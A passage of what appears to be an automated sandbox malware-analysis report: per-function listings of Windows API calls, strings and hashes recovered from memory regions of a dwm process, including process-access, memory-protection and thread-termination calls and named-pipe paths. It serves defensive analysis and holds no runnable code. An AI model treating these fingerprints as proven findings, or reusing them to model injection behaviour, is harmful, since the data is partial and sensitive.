OpenProcess.KERNEL32 ref: 000002BAAEDF19C2
K32GetModuleFileNameExW.KERNEL32 ref: 000002BAAEDF19E0
PathFindFileNameW.SHLWAPI ref: 000002BAAEDF19EF
lstrlenW.KERNEL32 ref: 000002BAAEDF19FB
StrCpyW.SHLWAPI ref: 000002BAAEDF1A0E
CloseHandle.KERNEL32 ref: 000002BAAEDF1A1C

Memory Dump Source

Source File: 0000001E.00000002.3183087492.000002BAAEDF0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002BAAEDF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_2baaedf0000_dwm.jbxd

Similarity

API ID: FileName$CloseFindHandleModuleOpenPathProcesslstrlen
String ID:
API String ID: 517849248-0
Opcode ID: 01214db588610ff501214a343c1506f8e4016efad0e64bbd234dc336c45f59d3
Instruction ID: 90be1499755b067608b3a1df86aeecd890f9a03b3d1fb6898e7e9a42c7c4878a
Opcode Fuzzy Hash: 01214db588610ff501214a343c1506f8e4016efad0e64bbd234dc336c45f59d3
Instruction Fuzzy Hash: 8F015B21300A4196EA64DB52A45C35973B1FB88BC4F684035DE8D43B55DF3CC54AC751

Function 000002BAAEDF36C8 Relevance: 9.0, APIs: 6, Instructions: 38threadCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 000002BAAEDF36E4
GetCurrentProcess.KERNEL32 ref: 000002BAAEDF36F2
VirtualProtectEx.KERNEL32 ref: 000002BAAEDF3714
GetCurrentProcess.KERNEL32 ref: 000002BAAEDF3732
VirtualProtectEx.KERNEL32 ref: 000002BAAEDF3753
TerminateThread.KERNEL32 ref: 000002BAAEDF3762

Memory Dump Source

Source File: 0000001E.00000002.3183087492.000002BAAEDF0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002BAAEDF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_2baaedf0000_dwm.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModuleTerminateThread
String ID:
API String ID: 449555515-0
Opcode ID: 4c9ec6165d8c5af47ee19c29b3e549fd6cc17b885c385019f049dc0dac4977bc
Instruction ID: d37d57f8f0fef868811603db5eefe68ef8ce8799f104095edb307b5e953f2a0a
Opcode Fuzzy Hash: 4c9ec6165d8c5af47ee19c29b3e549fd6cc17b885c385019f049dc0dac4977bc
Instruction Fuzzy Hash: E3011765751B41D2FF749B25E81C31973B0BB59B86F244428DA8D07B65EF3DC148C722

Function 000002BAAEDF8FE8 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 144COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000002BAAEDF9013
_IsNonwritableInCurrentImage.LIBCMT ref: 000002BAAEDF90A8
RtlUnwindEx.NTDLL ref: 000002BAAEDF90F7

Strings

csm, xrefs: 000002BAAEDF908E
f, xrefs: 000002BAAEDF9026

Memory Dump Source

Source File: 0000001E.00000002.3183087492.000002BAAEDF0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002BAAEDF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_2baaedf0000_dwm.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm$f
API String ID: 2395640692-629598281
Opcode ID: 255e8a15c903f04b3fededc0bb6945c1536f1eb34c4f108c78a5ad073a1a53ec
Instruction ID: ed7044a59e46063c6cedcc0fa70a4cb5f9e38caaa5c3ad2d4ddba7fa5267c18f
Opcode Fuzzy Hash: 255e8a15c903f04b3fededc0bb6945c1536f1eb34c4f108c78a5ad073a1a53ec
Instruction Fuzzy Hash: AA51BD32B017009AEB64CF65E84CB5937B6F344B98F248534EA8F47788DB35C981CB22

Function 000002BAAEDF1A40 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 30stringCOMMON

Download Yara Rule

APIs

GetFinalPathNameByHandleW.KERNEL32 ref: 000002BAAEDF1A60
StrCmpNIW.SHLWAPI ref: 000002BAAEDF1A7A
lstrlenW.KERNEL32 ref: 000002BAAEDF1A89
StrCpyW.SHLWAPI ref: 000002BAAEDF1A9E

Strings

\\?\, xrefs: 000002BAAEDF1A6E

Memory Dump Source

Source File: 0000001E.00000002.3183087492.000002BAAEDF0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002BAAEDF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_2baaedf0000_dwm.jbxd

Similarity

API ID: FinalHandleNamePathlstrlen
String ID: \\?\
API String ID: 2719912262-4282027825
Opcode ID: c1daab9146f2a1614ef605d22fd4f721266e20aa8a0235322e79b2424596649d
Instruction ID: eede53fd5bf1c617aa0365c69d83f6964c9c5141aef9ea52c6707d0781c4fd97
Opcode Fuzzy Hash: c1daab9146f2a1614ef605d22fd4f721266e20aa8a0235322e79b2424596649d
Instruction Fuzzy Hash: 85F0443230464292E7709B21F8987597770F758B88FA44034DA8D8AD55DF3CC64DCB11

Function 000002BAAEDF3044 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

StrCmpIW.SHLWAPI ref: 000002BAAEDF3066
StrCpyW.SHLWAPI ref: 000002BAAEDF3076
StrCatW.SHLWAPI ref: 000002BAAEDF3082
PathCombineW.SHLWAPI ref: 000002BAAEDF3090

Strings

\\.\pipe\, xrefs: 000002BAAEDF305C

Memory Dump Source

Source File: 0000001E.00000002.3183087492.000002BAAEDF0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002BAAEDF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_2baaedf0000_dwm.jbxd

Similarity

API ID: CombinePath
String ID: \\.\pipe\
API String ID: 3422762182-91387939
Opcode ID: 8c685e1f0b85bfe06f91eeefbd03c12bff8419d51c8b157116edbf6ca1c9c829
Instruction ID: 677d836a365569318be48d7dc26c03b707c4fd806aa4b64e320e2f65dfdf5f96
Opcode Fuzzy Hash: 8c685e1f0b85bfe06f91eeefbd03c12bff8419d51c8b157116edbf6ca1c9c829
Instruction Fuzzy Hash: 32F08220304B8192EAA48F53B91C2197370AB88FD0F248031EE8A47F18DF3CC445C7A1

Function 000002BAAEDFBC98 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 000002BAAEDFBCBD
GetProcAddress.KERNEL32 ref: 000002BAAEDFBCD3
FreeLibrary.KERNEL32 ref: 000002BAAEDFBCFA

Strings

mscoree.dll, xrefs: 000002BAAEDFBCB4
CorExitProcess, xrefs: 000002BAAEDFBCCC

Memory Dump Source

Source File: 0000001E.00000002.3183087492.000002BAAEDF0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002BAAEDF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_2baaedf0000_dwm.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 0f45d19500fbd6816ab24c8a126c5dacde8056cea587c59ff890217df17fdf5d
Instruction ID: ffa703ce45f9f47f93a2fd77227258ce1f52bea2fd7e0728689e18b643c996d3
Opcode Fuzzy Hash: 0f45d19500fbd6816ab24c8a126c5dacde8056cea587c59ff890217df17fdf5d
Instruction Fuzzy Hash: B3F0966135170591EB708B24F84C35A7330EB847A1F640229CAEE46AE4CF3DC544C371

Function 000002BAAEDF5710 Relevance: 7.6, APIs: 5, Instructions: 124threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 000002BAAEDF5726

Memory Dump Source

Source File: 0000001E.00000002.3183087492.000002BAAEDF0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002BAAEDF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_2baaedf0000_dwm.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: 0c7f3a11ae4e5ff47235e902b7b6ce7055ed727b420134bb2449cab27e882fd8
Instruction ID: 2e5659b599159111f5a82bbfe3fa8239b5a03c6f8e81b61fa4bdca3449316732
Opcode Fuzzy Hash: 0c7f3a11ae4e5ff47235e902b7b6ce7055ed727b420134bb2449cab27e882fd8
Instruction Fuzzy Hash: A0619636519B84C6EB60DB15F54831ABBB0F388794F201516EACE47BA8DB7CC954CF12

Function 000002BAAEE04104 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 000002BAAEE0412C
_set_statfp.LIBCMT ref: 000002BAAEE04147
_set_statfp.LIBCMT ref: 000002BAAEE04163
_set_statfp.LIBCMT ref: 000002BAAEE0419F

Memory Dump Source

Source File: 0000001E.00000002.3183087492.000002BAAEDF0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002BAAEDF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_2baaedf0000_dwm.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction ID: af7a10fbcdd35d25a0eedde17d056fd84300e72477245582d1813680f258cf9a
Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction Fuzzy Hash: 92115122AD0A5131F7F45568E65E36533F16B683B8F380A28A9F606ED68B24C941C232

Function 000002BAAEDD3504 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 000002BAAEDD352C
_set_statfp.LIBCMT ref: 000002BAAEDD3547
_set_statfp.LIBCMT ref: 000002BAAEDD3563
_set_statfp.LIBCMT ref: 000002BAAEDD359F

Memory Dump Source

Source File: 0000001E.00000002.3183027949.000002BAAEDC0000.00000040.00000400.00020000.00000000.sdmp, Offset: 000002BAAEDC0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_2baaedc0000_dwm.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction ID: 8a0b107e24b1548139f2e99b5c7c3efda6f15ee66b1dc4c44c5584c7e3cbcf73
Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction Fuzzy Hash: A611CA72612E5152FA64152CE4CD36933A06B58374FB8473AA9FEC63D6CB24C841C232

Function 000002BAAEDCF040 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 182COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 000002BAAEDCF124

Strings

Wednesday, xrefs: 000002BAAEDCF1ED
Tuesday, xrefs: 000002BAAEDCF0F4
or copy constructor iterator', xrefs: 000002BAAEDCF25A, 000002BAAEDCF275

Memory Dump Source

Source File: 0000001E.00000002.3183027949.000002BAAEDC0000.00000040.00000400.00020000.00000000.sdmp, Offset: 000002BAAEDC0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_2baaedc0000_dwm.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: Tuesday$Wednesday$or copy constructor iterator'
API String ID: 3215553584-4202648911
Opcode ID: 9e57f18f61c22f0406784eb273be7b0d6046b42052b72e443b30de0c50228f55
Instruction ID: 8275968d12326c96308ad6d1f800c51956b246ff52fd5645692c1f8a32ad9f62
Opcode Fuzzy Hash: 9e57f18f61c22f0406784eb273be7b0d6046b42052b72e443b30de0c50228f55
Instruction Fuzzy Hash: 29619E2260064042FA679B79E54C3AA7BF1E7C17C8F705415DADE477E4DB34C946C222

Function 000002BAAEDFAA1C Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 147COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 000002BAAEDFAA68
_CallSETranslator.LIBVCRUNTIME ref: 000002BAAEDFAAB7

Strings

MOC, xrefs: 000002BAAEDFAA7C
RCC, xrefs: 000002BAAEDFAA85

Memory Dump Source

Source File: 0000001E.00000002.3183087492.000002BAAEDF0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002BAAEDF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_2baaedf0000_dwm.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction ID: 17bb476466e3ff4f04a85ec908232aadd8a646a24b2af8f35efcc5f76b9c8b99
Opcode Fuzzy Hash: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction Fuzzy Hash: 3B617937A00B848AEB20DFA5D48479D77B0F748B88F244216EF8E1BB98DB38D595C711

Function 000002BAAEDFAD78 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000002BAAEDFADA0
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 000002BAAEDFAE88

Strings

csm, xrefs: 000002BAAEDFADC2
csm, xrefs: 000002BAAEDFAEDA

Memory Dump Source

Source File: 0000001E.00000002.3183087492.000002BAAEDF0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002BAAEDF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_2baaedf0000_dwm.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction ID: e59089bba677d222a3ff6305b6a95a49dbcb197b1d356d863ec01ed1e03d3b10
Opcode Fuzzy Hash: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction Fuzzy Hash: C4519F762043808AEB74CF25959835D77B0F794B89F289216EADD8FBD5CB38D490CB12

Function 000002BAAEDCA178 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000002BAAEDCA1A0
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 000002BAAEDCA288

Strings

csm, xrefs: 000002BAAEDCA2DA
csm, xrefs: 000002BAAEDCA1C2

Memory Dump Source

Source File: 0000001E.00000002.3183027949.000002BAAEDC0000.00000040.00000400.00020000.00000000.sdmp, Offset: 000002BAAEDC0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_2baaedc0000_dwm.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction ID: 23aca5113cd6646f5191f7d0f29d6b2863c202459108ff2c2bc3649bdf9ec196
Opcode Fuzzy Hash: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction Fuzzy Hash: FD516C32100380CAEB768FB5955835977B0F395BD4F289216EADE8BBD5CB38D491CB12

Function 000002BAAEDC8405 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 135COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000002BAAEDC8413
_IsNonwritableInCurrentImage.LIBCMT ref: 000002BAAEDC84A8

Strings

f, xrefs: 000002BAAEDC8426
csm, xrefs: 000002BAAEDC848E

Memory Dump Source

Source File: 0000001E.00000002.3183027949.000002BAAEDC0000.00000040.00000400.00020000.00000000.sdmp, Offset: 000002BAAEDC0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_2baaedc0000_dwm.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm$f
API String ID: 3242871069-629598281
Opcode ID: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
Instruction ID: 33ee84f3d2e35e2eb260c96c6a9f41b19c8e49cab8daa237f789fbd62d683701
Opcode Fuzzy Hash: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
Instruction Fuzzy Hash: B451D63A7216008BDB96CB25D448F2937B5F394BD8F718125DA8E63748EBB4E841C726

Function 000002BAAEDC83E8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 75COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000002BAAEDC8413
_IsNonwritableInCurrentImage.LIBCMT ref: 000002BAAEDC84A8

Strings

f, xrefs: 000002BAAEDC8426
csm, xrefs: 000002BAAEDC848E

Memory Dump Source

Source File: 0000001E.00000002.3183027949.000002BAAEDC0000.00000040.00000400.00020000.00000000.sdmp, Offset: 000002BAAEDC0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_2baaedc0000_dwm.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm$f
API String ID: 3242871069-629598281
Opcode ID: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction ID: 983ef2cb673edadab5a5c8751c99234bdd523c64c97835a6c5c175e4b82085e2
Opcode Fuzzy Hash: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction Fuzzy Hash: AE31BF36211740DAE796DF21E848B2937B5F380BD8F258018EE9F57788DB38E941C726

Function 000002BAAEE02058 Relevance: 6.3, APIs: 4, Instructions: 299fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 000002BAAEE020D7
WriteFile.KERNEL32 ref: 000002BAAEE0239F
WriteFile.KERNEL32 ref: 000002BAAEE023E5
GetLastError.KERNEL32 ref: 000002BAAEE0249B

Memory Dump Source

Source File: 0000001E.00000002.3183087492.000002BAAEDF0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002BAAEDF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_2baaedf0000_dwm.jbxd

Similarity

API ID: FileWrite$ConsoleErrorLastOutput
String ID:
API String ID: 2718003287-0
Opcode ID: 3a35214534a53fd0655822596b90f4932f5655332a96a267e8fac8abb8670521
Instruction ID: 0cfbe3989ad51b6503d5e2804fa8513af81f4b4ee7e02c74761ffe8a52e4bf6f
Opcode Fuzzy Hash: 3a35214534a53fd0655822596b90f4932f5655332a96a267e8fac8abb8670521
Instruction Fuzzy Hash: E4D1C032B14A80A9E761CFB9D44839C3BB1F3587A8F248216DE9D97F9ADB34C506C351

Function 000002BAAEDF14A4 Relevance: 6.3, APIs: 5, Instructions: 42memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000002BAAEDF14C5
HeapFree.KERNEL32 ref: 000002BAAEDF14D4
GetProcessHeap.KERNEL32 ref: 000002BAAEDF14E1
HeapFree.KERNEL32 ref: 000002BAAEDF14F0
GetProcessHeap.KERNEL32 ref: 000002BAAEDF1500

Memory Dump Source

Source File: 0000001E.00000002.3183087492.000002BAAEDF0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002BAAEDF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_2baaedf0000_dwm.jbxd

Similarity

API ID: Heap$Process$Free
String ID:
API String ID: 3168794593-0
Opcode ID: ccd79a5c24cc2b6b77d5d0d776de3086a7ca9ca8278a44c8c605b81f59301eca
Instruction ID: 1e86a15e4ee639612e1e838b532126df22f3cbbb115fb5d08622a82986b655b6
Opcode Fuzzy Hash: ccd79a5c24cc2b6b77d5d0d776de3086a7ca9ca8278a44c8c605b81f59301eca
Instruction Fuzzy Hash: D2118B36540B92EAE7A4DF62A80824977B0F78CF81F284035EA8D03F16DF38C054C751

Function 000002BAAEE02980 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

GetConsoleMode.KERNEL32 ref: 000002BAAEE02A9C
GetLastError.KERNEL32 ref: 000002BAAEE02B27

Memory Dump Source

Source File: 0000001E.00000002.3183087492.000002BAAEDF0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002BAAEDF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_2baaedf0000_dwm.jbxd

Similarity

API ID: ConsoleErrorLastMode
String ID:
API String ID: 953036326-0
Opcode ID: fa691138abb93940963a85324df6708f2ee223ec670a65e1a7af20f8b77031a4
Instruction ID: 4807b2611076f96943862d161e056cdd6436f4ff96b8a97d2ae52b867fc3dd30
Opcode Fuzzy Hash: fa691138abb93940963a85324df6708f2ee223ec670a65e1a7af20f8b77031a4
Instruction Fuzzy Hash: 2891C432740650A5FBF0DF6994883AD3BF4B758B88F744109DE8A67E86DB34C486C722

Function 000002BAAEDF7960 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 000002BAAEDF798C
GetCurrentThreadId.KERNEL32 ref: 000002BAAEDF799A
GetCurrentProcessId.KERNEL32 ref: 000002BAAEDF79A6
QueryPerformanceCounter.KERNEL32 ref: 000002BAAEDF79B6

Memory Dump Source

Source File: 0000001E.00000002.3183087492.000002BAAEDF0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002BAAEDF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_2baaedf0000_dwm.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 561ac6f4885ef0f33bff27beb4ddb95e6a253367b5c72fac45fcb4617ca9122b
Instruction ID: 3f5f6fd16ddd14ed0e1bb1819c72d6881c103777ea279e037482266a28d62027
Opcode Fuzzy Hash: 561ac6f4885ef0f33bff27beb4ddb95e6a253367b5c72fac45fcb4617ca9122b
Instruction Fuzzy Hash: E2115E26B50F019AEF50CF60E8583A833B4F719758F540E35DAAD46BA8DF78C298C391

Function 000002BAAEDF253C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 185COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 000002BAAEDF2620
StrCpyW.SHLWAPI ref: 000002BAAEDF2639

Strings

\\.\pipe\, xrefs: 000002BAAEDF262B

Memory Dump Source

Source File: 0000001E.00000002.3183087492.000002BAAEDF0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002BAAEDF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_2baaedf0000_dwm.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: 54f1dfa0457f4d2b58266312e3bc9b9bd619b52cd53b64f893b189ad2eed13fb
Instruction ID: 937e72dd8e6d345f089c8e2313df90b66dad40338bf09b86f9c15cb5c94cb251
Opcode Fuzzy Hash: 54f1dfa0457f4d2b58266312e3bc9b9bd619b52cd53b64f893b189ad2eed13fb
Instruction Fuzzy Hash: E671C23660078186EB74DF29D8483AA77B4F389B84FA50026DE8E57F89DF35C645C712

Function 000002BAAEDC9E1C Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 147COMMON

Download Yara Rule

APIs

_CallSETranslator.LIBVCRUNTIME ref: 000002BAAEDC9EB7

Strings

MOC, xrefs: 000002BAAEDC9E7C
RCC, xrefs: 000002BAAEDC9E85

Memory Dump Source

Source File: 0000001E.00000002.3183027949.000002BAAEDC0000.00000040.00000400.00020000.00000000.sdmp, Offset: 000002BAAEDC0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_2baaedc0000_dwm.jbxd

Similarity

API ID: CallTranslator
String ID: MOC$RCC
API String ID: 3163161869-2084237596
Opcode ID: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction ID: 363db27806a8208c57939334ef9cec9730f8f839637735c7e8f31fbceec634d5
Opcode Fuzzy Hash: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction Fuzzy Hash: DC615333A01A848AEB22DF65D48439D77B0F398BC8F248216EF8D17B98DB38D195C711

Function 000002BAAEDF2330 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 141COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 000002BAAEDF2416
StrCpyW.SHLWAPI ref: 000002BAAEDF242D

Strings

\\.\pipe\, xrefs: 000002BAAEDF2421

Memory Dump Source

Source File: 0000001E.00000002.3183087492.000002BAAEDF0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002BAAEDF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_2baaedf0000_dwm.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: 713d5f66120afee1318357aa22047e1871f046a8e1f6ca4f8182a23e28854f89
Instruction ID: 9a98f76d43b1946ffa988f3be5de7d8b23f197965298065719e08abfb02428c5
Opcode Fuzzy Hash: 713d5f66120afee1318357aa22047e1871f046a8e1f6ca4f8182a23e28854f89
Instruction Fuzzy Hash: ED51243220438196EA78CF2DA05C3AABBB1F395780F650125DECE03B89DB3AC504C762

Function 000002BAAEE026F0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 000002BAAEE02807
GetLastError.KERNEL32 ref: 000002BAAEE02829

Strings

U, xrefs: 000002BAAEE027B3

Memory Dump Source

Source File: 0000001E.00000002.3183087492.000002BAAEDF0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002BAAEDF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_2baaedf0000_dwm.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: 769e155e8e03be1ef4aeb5f55e8b8ada6faf705201daec98c5fb8cb61498ce5a
Instruction ID: 9f878c62cf4b7bea1f65f453db809c2fc137e0a7b7cd26cf74e1801bed0496c8
Opcode Fuzzy Hash: 769e155e8e03be1ef4aeb5f55e8b8ada6faf705201daec98c5fb8cb61498ce5a
Instruction Fuzzy Hash: EC41D532714B8096DB70CF69E8483A977B0F798794F644021EE8D87B98EB7CC545C761

Function 000002BAAEDF94A0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlPcToFileHeader.NTDLL ref: 000002BAAEDF94F0
RaiseException.KERNEL32 ref: 000002BAAEDF9531

Strings

csm, xrefs: 000002BAAEDF951E

Memory Dump Source

Source File: 0000001E.00000002.3183087492.000002BAAEDF0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002BAAEDF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_2baaedf0000_dwm.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: 596d8aa0106168f831d5a6617a756b303fb26e5894bac8705379b132699e985d
Instruction ID: b2c0425ecf9cb7ccc282c22f606d908f3bcba3e897ed7f9796a669c9dbd0fbc2
Opcode Fuzzy Hash: 596d8aa0106168f831d5a6617a756b303fb26e5894bac8705379b132699e985d
Instruction Fuzzy Hash: D711F836614B8082EB61CB15E448359B7E5FB88B94F684225EECD07B69DF3CC555CB40

Function 000002BAAEDC7356 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 18COMMON

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 000002BAAEDC737C

Strings

riptor at (, xrefs: 000002BAAEDC7364
ierarchy Descriptor', xrefs: 000002BAAEDC7381

Memory Dump Source

Source File: 0000001E.00000002.3183027949.000002BAAEDC0000.00000040.00000400.00020000.00000000.sdmp, Offset: 000002BAAEDC0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_2baaedc0000_dwm.jbxd

Similarity

API ID: __std_exception_copy
String ID: ierarchy Descriptor'$riptor at (
API String ID: 592178966-758928094
Opcode ID: 13d46e236c22f038e3183f277bc937bc0c01c293d14bd07e4c5c2ea041926035
Instruction ID: 80d0714f7356b10da1b5c47540756507ab6a4aff8d62ac4a436c721598fc27c5
Opcode Fuzzy Hash: 13d46e236c22f038e3183f277bc937bc0c01c293d14bd07e4c5c2ea041926035
Instruction Fuzzy Hash: 2BE08661641B44D1DF029F21E88429833B0DB98B64B989122D99C46351FB38D1E9C311

Function 000002BAAEDC73B4 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 17COMMON

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 000002BAAEDC73D8

Strings

Locator', xrefs: 000002BAAEDC73DD
riptor at (, xrefs: 000002BAAEDC73C0

Memory Dump Source

Source File: 0000001E.00000002.3183027949.000002BAAEDC0000.00000040.00000400.00020000.00000000.sdmp, Offset: 000002BAAEDC0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_2baaedc0000_dwm.jbxd

Similarity

API ID: __std_exception_copy
String ID: Locator'$riptor at (
API String ID: 592178966-4215709766
Opcode ID: af0f0512ca75cd806a30771dd11e2a0f17b9e6725b3a9df23089972a8cb9d3f7
Instruction ID: fd39a01d5779ee7db575262003db31ec3d3ee27b08c58c4554370aa0ecd2c365
